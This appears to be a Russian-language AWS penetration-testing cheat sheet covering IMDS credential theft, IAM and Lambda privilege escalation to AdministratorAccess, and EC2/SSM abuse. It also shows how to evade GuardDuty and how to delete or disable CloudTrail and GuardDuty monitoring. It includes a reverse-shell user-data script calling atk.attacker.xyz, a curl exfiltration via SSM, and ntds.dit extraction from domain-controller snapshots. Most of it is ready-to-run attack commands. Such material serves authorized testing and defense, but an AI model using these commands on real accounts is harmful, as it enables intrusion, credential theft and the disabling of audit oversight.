aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk
~/.aws/config
Файл с региональными настройками профиля(регион по-умолчанию).
[default]
region=us-west-2
output=json
~/.aws/cli/cache
Закешированные учетные данные
~/.aws/sso/cache
Закешированные данные Single-Sign-On
Команды
Общее построение команды выглядит как:
aws <название_сервиса> <действие> <дополнительные_аргументы>
Примеры:
# Вывести все S3-хранилища.
aws s3 ls
# Создание нового пользователя - сервис IAM
aws iam create-user --user-name aws-admin2
IMDS (Instance Metadata Service)
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.
Есть 2 версии:
- IMDSv1 - версия 1 по-умолчанию, не требует токен.
- IMDSv2 - версия 2, для запросов требуется токен.
Запрос без токена:
curl http://169.254.169.254/latest/meta-data/
Запрос с токеном:
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):
# В начале делаем запрос на директорию /security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Потом выбираем нужный аккаунт и делаем запрос на него
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account
Пример ответа:
{
"Code" : "Success",
"LastUpdated" : "2019-12-03T07:15:34Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "xxxxxxxxxxxxxxxxxxx",
"SecretAccessKey" : "xxxxxxxxxxxxxxxxxxxxx",
"Token" : "xxxxxxxxxxxxxxxxxxxxx",
"Expiration" : "2019-12-03T13:50:22Z"
}
После чего эти учетные данные можно использовать с awscli.
Другие полезные Endpoint'ы:
http://169.254.169.254/
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
Ролевая модель
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:
- trust policy - определяет, чья будет роль
- permissions policy - определяет какой доступ будет у тех, у кого эта роль.
Каждая политика состоит из следующих компонентов:
- Ресурс - цель, кому выдается правило. Может быть:
- Пользователь
- Группа, в которой могут быть аккаунты по какому то признаку
- Другая политика.
- Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
- Тип правила(Effect) - разрешение или запрет.
- Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
- Условия(Condition) - отдельные условия, например, ip.
Пример политики:
{
"Version": "2012-10-17", //Версия политики
"Statement": [
{
"Sid": "Stmt32894y234276923" //Опционально - уникальный идентификатор
"Effect": "Allow", //Разрешить или запретить
"Action": [ //Разрешенные/Запрещенные действия
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //На какие ресурсы можно/нельзя совершать действия
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Опционально - условия срабатывания
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
}
Определение ролей
Вручную
TODO команды по определению своих ролей
Автоматизированно
Эксплуатация
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.
Административный доступ
Как выглядит роль с административным доступом:
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": "*"
}
]
Службы
IAM
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.
Роли - повышение привилегий
iam:UpdateLoginProfile
Сбросить пароль у других пользователей:
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required
iam:PassRole + ec2:RunInstance
См. EC2
iam:PassRole + glue:CreateDevEndpoint
См. Glue
iam:PutRolePolicy
Создать или обновить inline-политику для роли.
iam:PutGroupPolicy
Создать или обновить inline-политику для группы.
iam:PuserUserPolicy
Создать или обновить inline-политику.
iam:UpdateAssumeRolePolicy + sts:AssumeRole
Обновить документ "AssumeRolePolicyDocument" для роли.
Роли - повышение до админа
iam:AddUserToGroup
Добавить юзера в административную группу:
aws iam add-user-to-group --group-name <название_группы> --user-name <логин>
iam:PutUserPolicy
Право добавить своб политику к ранее скомпрометированным обьектам.
aws iam put-user-policy --user-name <логин> --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json
iam:CreateLoginProfile
Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required
iam:UpdateLoginProfile
Добавить существующую политику к любому пользователю.
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:AttachGroupPolicy
Добавить существующую политику к любой группе.
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:AttachRolePolicy
Добавить существующую политику к любой роли.
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:CreatePolicy
Создать административную политику.
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.
# Создание политики
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default
# Установка политики по умолчанию.
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile
См. EC2
iam:AttachUserPolicy
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.
AWS Shield
Сервис для защиты от DDoS.
Cognito
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.
Основное
Cognito отвечает за следующие действия:
- Регистрация пользователя (email + пароль)
- Авторизация пользователя
- Работа с сохраненной пользовательской информацией (устанавливается приложением)
- Специальные действия (например, предоставление AWS-ключей)
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).
Пример URL: cognito-identity.us-east-1.amazonaws.com
За действие отвечает HTTP-заголовок "X-Amz-Target". В своем роде, это Endpoints API.
Какие параметры требуются для работы с ним:
1. Название Endpoint'а - "X-Amz-Target" заголовок
2. Регион - "aws_project_region" параметр
3. Session token - позже требуется для запросов.
4. Identity Pool ID - нужен для запросов типа Identity Pools.
Также пишут, что Cognito разделяется на две основные части:
- User Pools - для тех, кому нужна только регистрация и аутентификация
- Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.
X-Amz-Target (Endpoints)
AWSCognitoIdentityService.UpdateUserAttributes
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.
P.S. Мб неверно название Endpoint'а. Надо проверять.
AWSCognitoIdentityService.GetCredentialsForIdentity
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.
Требуется aws_identity_pool_id.
В некоторых примерах оно также было указано как "com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity"
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963
AWSCognitoIdentityService.GetOpenIdToken
Позволяет получить OpenID токен, действительный на 10 минут.
В примере требуется только "IdentityID"
AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый "IdentityID" (если он не был указан).
AWSCognitoIdentityService.GetCredentialsForIdentity
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html
GuardDuty
Сервис для детектирования атак используя машинное обучение.
Для детекта использует следующие сервисы:
- CloudTrail
- VPC Flow Logs
- DNS Logs
- ...to be continued
Обход защиты
Далее идут правила детекта и то, как их можно обойти.
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы. Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.
Может быть для этого выгодно держать проксирующий сервер EC2.
UserAgent rules
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. Варианты:
- Использовать утилиту pacu (уже есть смена User-Agent)
- Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.
Роли - Управление
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html
guardduty:UpdateDetector
Позволяет выключить GuardDuty (ну или редатировать правила):
aws guardduty update-detector --detector-id <id of detector> --no-enable
guardduty:DeleteDetector
Удалить правило детектирования:
aws guardduty delete-detector --detector-id <id of detector>
STS (Security Token Service)
Сервис, позволяющий запросить временные учетные данные с ограниченными примилегиями для IAM-пользователей
KMS (Key Management Service)
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.
Администраторы амазона не смогут получить к ним доступ.
Ключи со временем обновляются:
- Customers keys - раз в 365 дней
- AWS keys - раз в 3 года.
Старые ключи также можно будет использовать для расшифровки.
CloudHSM (Hardware Security Module)
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению.
Пишут, что устройство будет закреплено только за вами.
Также можно получить доступ к CloudHSM-Instance по SSH.
Athena
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.
EBS (Elastic Block Store)
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).
Роли - управление сервисом
ec2:CreateVolume + ec2:AttachVolume
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.
# Создание Volume из snapshot'а (если требуется подключить snapshot)
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
# Подключение Volume к виртуалке EC2
Далее идем на виртуалку и вводим команды:
# Поиск Volume
lsblk
# Проверка есть ли на нем данные
sudo file -s /dev/xvdf
# форматировать образ под ext4 (если неподходящая файловая система)
sudo mkfs -t ext4 /dev/xvdf
# Создаем директорию куда примонтируем позже
sudo mkdir /tmp/newvolume
# Монтируем
sudo mount /dev/xvdf /tmp/newvolume/
Диск будет доступен на /tmp/newvolume.
Lambda
Сервис для запуска своего кода в облаке.
Роли - повышение привилегий
lambda:UpdateFunctionCode
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip
lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.
Код функции:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
Команды для запуска:
# Создание функции
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py
# Запуск
aws lambda invoke --function-name my_function output.txt
Роли - управление
lambda:GetFunction
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):
# Получить список функций
aws lambda list-functions --profile uploadcreds
# Получить информацию о Lambda-функции
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
# Скачать исходный код по ссылке из предыдущего ответа
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
Glue
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.
Роли - повышение привилегий
glue:UpdateDevEndpoint
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:
# TODO: это не обновление параметров, надо обновить команду
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub
glue:CreateDevEndpoint + iam:PassRole
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub
S3
Файловое хранилище, доступное по http(s).
Формат ссылки:
https://{bucket_name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket_name}/
# US Standard
http://s3.amazonaws.com
# Ireland
http://s3-eu-west-1.amazonaws.com
# Northern California
http://s3-us-west-1.amazonaws.com
# Singapore
http://s3-ap-southeast-1.amazonaws.com
# Tokyo
http://s3-ap-northeast-1.amazonaws.com
Делать запросы можно:
- В браузере - http(s)
- Используя awscli:
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
В S3 может использоваться шифрование:
- SSE-KMS - Server-Side с ключами KMS
- SSE-C - Server-Side с ключами заказчика
- CSE-KMS - Client-Side с ключами KMS
- CSE-C - Client-Side с ключами заказчика
Сбор информации
Определение региона
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11
$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com
# Итоговый URL будет:
flaws.cloud.s3-website-us-west-2.amazonaws.com
flaws.cloud.s3-us-west-2.amazonaws.com
Если будет некорректный регион - редиректнет на корректный.
Список файлов
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).
Роли - управление
s3:ListBucket
Посмотреть список файлов в S3-хранилище:
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
s3:ListAllMyBuckets
Посмотреть список всех S3-хранилищ, доступных мне:
aws s3api list-buckets
aws s3 ls
CloudFront
Сервис сети доставки контента (CDN).
Формат ссылки:
https://{random_id}.cloudfront.net
EC2 (Elastic Compute Cloud)
EC2 (Amazon Elastic Compute Cloud) == VPS
Состоит из:
- Instance - название виртуальной машины
- AMI (Amazon Machine Image) - образ виртуальной машины
- SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.
Формат ссылки:
ec2-{ip-seperated}.compute-1.amazonaws.com
SSM Agent
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.
Его тоже можно выбрать целью атаки
MITM
Есть возможность вклиниваться в общение от SSM-Агента локально.
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/
Роли - повышение привилегий
ec2:RunInstance + iam:PassRole
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.
1. Запуск машины c новой прикрепленной ролью
2. Подключение к ней
3. Работа с прикрепленной ролью
Создание EC2 с известным SSH-ключем:
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456
Второй вариант - скрипт для запуска:
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.
Роли - повышение до админа
ec2:AssociateIamInstanceProfile
Позволяет менять IAM политики/роли/пользователей
ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.
Роли - управление
ec2:CreateVolume + ec2:AttachVolume
См. EBS.
ec2:DescribeSnapshots
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:
aws ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2
ec2:CreateVolume
Прзврояет примаунтить SnapShot, чтобы потом его изучить:
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
ec2:* (Копирование EC2)
Позволяет скопировать EC2 используя AMI-images:
# Создаем новый AMI из Instance-ID
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# Добавляем наш ключ в систему
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же)
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# Проверяем запустился ли инстанс
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# Не обязательно - редактируем группу инстанса
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# В конце работы - останавливаем и удаляем инстанс
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
ec2-instance-connect:SendSSHPublicKey
Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.
# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
ec2-instance-connect:SendSerialConsoleSSHPublicKey
Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.
# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1
# Подключаемся (кроме GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws
# Подключаемся (только для GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)
sudo systemctl restart serial-getty@ttyS0
# Если не сработало - мб требуется ребутать сервер.
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html
ssm:SendCommand
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:
- Знать Instance-ID, на котором запущен сервис SSM
- Свой сервер, на который будет приходить отстук - результат команды.
Команды для эксплуатации:
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation
aws ssm describe-instance-information --profile stolencreds --region eu-west-1
# Выполняем команду
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
# Пример - результат команды на удаленный сервер
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
EC2:CreateSnapshot + Active Directory
См. AD.
Auto Scaling (autoscaling)
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.
Для работы сервиса требуется:
1. Конфигурация запуска EC2.
2. Конфигурация масштабирования.
Роли - повышение привилегий
autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole
Позволяет создать и запустить конфигурацию масштабирования.
Создаем конфигурацию запуска EC2
Для создания требуется:
1. Image-id
2. iam-instance-profile
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options "HttpEndpoint=enabled,HttpTokens=optional" --associate-public-ip-address --user-data=file://reverse-shell.sh
Пример содержимого reverse-shell.sh:
#!/bin/bash
/bin/bash -l > /dev/tcp/atk.attacker.xyz/443 0<&1 2>&1
Создаем и запускаем группу масштабируемости
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier "subnet-aaaabbb"
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b
AD (Directory Service)
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.
Основные понятия:
- EC2-Instance - VPS на которых крутится весь Active Directory
Роли - повышение привилегий
EC2:CreateSnapshot + EC2:RunInstance -> ShadowCopy
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.
Последовательность атаки:
1. Получаем список инстансов
2. Создаем Snapshot выбранного сервера
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего.
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission --operation-type remove --user-ids 123456789012
4. Переключаемся на аккаунт атакующего
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot
6. Подключаемся по SSH и получаем данные из SnapShot
sudo -s
mkdir /tmp/windows
mount /dev/xvdf1 /tmp/windows/
cd /tmp/windows/
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user
chown ec2-user:ec2-user /home/ec2-user/*
# Sftp - скачиваем файлы:
/home/ec2-user/SYSTEM
/home/ec2-user/ntds.dit
# Получаем учетные данные, используя Impacket-secretsdump
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets
CloudTrail
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.
Записывает:
- API-вызовы
- Логины в систему
- События сервисов
- ???
Важен при операциях RedTeam.
Название файла логов:
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat
S3 путь до логов:
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD
Путь у CloudTrail-Digest файлов:
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz
Основные поля у событий:
- eventName - имя API-endpoint
- eventSource - вызванный сервис
- eventTime - время события
- SourceIPAddress - ip-адрес источника
- userAgent - метод запроса
- "signing.amazonaws.com" - запрос от AWS Management Console
- "console.amazonaws.com" - запрос от root-пользователя аккаунта
- "lambda.amazonaws.com" - запрос от AWS Lambda
- requestParameters - параметры запроса
- responseElements - элементы ответа.
Временные параметры:
- 5 минут - сохраняется новый лог-файл
- 15 минут - сохраняется в S3.
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.
Роли - управление
cloudtrail:DeleteTrail
Позволяет отключить мониторинг:
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
cloudtrail:UpdateTrail
Права на редактирование правил монитринга.
Отключить мониторинг глобальных сервисов:
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
Отключить мониторинг на конкретные регионы:
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
validate-logs
Проверить, были ли изменены логи.
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
Эксплуатация
Обход правила по UserAgent
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.
DynamoDB
Cистема управления базами данных класса NoSQL в формате «ключ — значение».
Роли - управление
dynamodb:ListTables
Позволяет посмотреть спрсок таблиц базы данных.
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
{
"TableNames": [
"users"
]
}
dynamodb:Scan
Получение обьектов из базы данных:
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
}
ES (ElasticSearch)
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.
Формат ссылки:
https://{user_provided}-{random_id}.{region}.es.amazonaws.com
ELB (Elastic Load Balancing)
Балансировщик нагрузки.
Формат ссылки (elb_v1):
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
Формат ссылки (elb_v2):
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
RDS (Relational Database Service)
Облачная реляционная база данных (на выбор).
Формат ссылки:
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
Route 53
Настраиваемая служба DNS.
Формат ссылки:
{user_provided}
API Gateway
API-сервис, который будет доступен почти со всех серверов.
Формат ссылки:
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
CloudSearch
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.
Формат ссылки:
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com
Transfer Family
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).
Формат ссылки:
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com
IoT (Internet Of Things)
Сервис для управления IoT-устройствами.
Формат ссылки:
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443
MQ
Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.
Формат ссылки:
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
